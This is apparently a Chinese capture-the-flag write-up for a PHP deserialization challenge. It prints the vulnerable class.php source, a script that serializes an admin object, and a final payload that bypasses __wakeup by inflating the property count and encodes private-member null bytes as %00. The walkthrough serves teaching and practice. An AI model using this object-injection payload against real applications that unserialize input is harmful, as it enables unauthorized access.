[极客大挑战 2019]PHP



  • 一个简单的代码审计题目。
    题目提示有备份,那就应该有一个目录提供源码下载。扫了一下,有一个www.zip文件,下载。

    打开以后,是三个php源码,其中最重要的是class.php,代码如下:

    <?php
    include 'flag.php';
    
    error_reporting(0);
    
    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
    
        public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
    
        function __wakeup(){
            $this->username = 'guest';
        }
    
        function __destruct(){
            if ($this->password != 100) {
                echo "</br>NO!!!hacker!!!</br>";
                echo "You name is: ";
                echo $this->username;echo "</br>";
                echo "You password is: ";
                echo $this->password;echo "</br>";
                die();
            }
            if ($this->username === 'admin') {
                global $flag;
                echo $flag;
            }else{
                echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
                die();
    
            }
        }
    }
    ?>
    

    看了一下,这个其实是个反序列化题目。脚本如下:

    <?php
    
    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
    
        public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
    
    }
    $a = new Name('admin',100);
    
    $b = serialize($a);
    echo ($b);
    
    ?>
    

    在这里插入图片描述
    结果如下,但是那些<0x00>复制不下来,用%00代替。
    O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
    把这个当参数上传,无果。
    为什么呢,因为源码里面有一个__wakeup()魔术方法。绕过__wakeup()的方法为:将那串字符里面的2换为3即可。
    加上%00是因为username和password都是私有变量,变量中的类名前后会有空白符,而复制的时候会丢失。
    所以最后的参数是:O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

    在这里插入图片描述


Log in to reply